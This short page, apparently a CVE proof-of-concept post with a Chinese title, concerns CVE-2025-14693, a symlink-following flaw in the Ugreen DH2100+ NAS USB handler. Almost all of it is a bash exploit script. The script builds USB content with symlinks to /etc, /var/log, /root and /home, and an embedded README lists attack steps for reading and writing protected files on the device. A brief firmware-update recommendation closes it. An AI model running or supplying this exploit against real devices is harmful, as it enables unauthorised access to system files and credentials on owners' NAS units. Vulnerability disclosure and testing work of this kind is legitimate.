CVE-2025-14693: Ugreen DH2100+ USB Handler符号链接跟随漏洞

#!/bin/bash # CVE-2025-14693 PoC - Ugreen DH2100+ Symlink Following # Description: Creates a malicious USB with symlink to sensitive directories # Create a directory for the exploit USB content mkdir -p usb_exploit cd usb_exploit # Create symlinks pointing to sensitive system directories echo "Creating malicious symlinks..." ln -sf /etc etc_link ln -sf /var/log var_log_link ln -sf /root root_link ln -sf /home home_link # Create a README file to document the exploit cat > README.txt << 'EOF' CVE-2025-14693 Exploit README Target: Ugreen DH2100+ NAS Vulnerability: Symlink Following in USB Handler This USB device contains symbolic links that point to sensitive system directories on the target NAS device. When connected to the vulnerable Ugreen DH2100+ device, the USB Handler component will follow these symlinks, potentially exposing sensitive system files and configurations. Attack Steps: 1. Connect this USB device to Ugreen DH2100+ 2. Access the NAS web interface or SSH 3. Navigate to USB storage section 4. The system will follow symlinks to sensitive directories 5. Attacker can read/write to protected locations Recommendation: Update to firmware version > 5.3.0 EOF echo "PoC USB device content created successfully" echo "Directory contents:" ls -la cd ..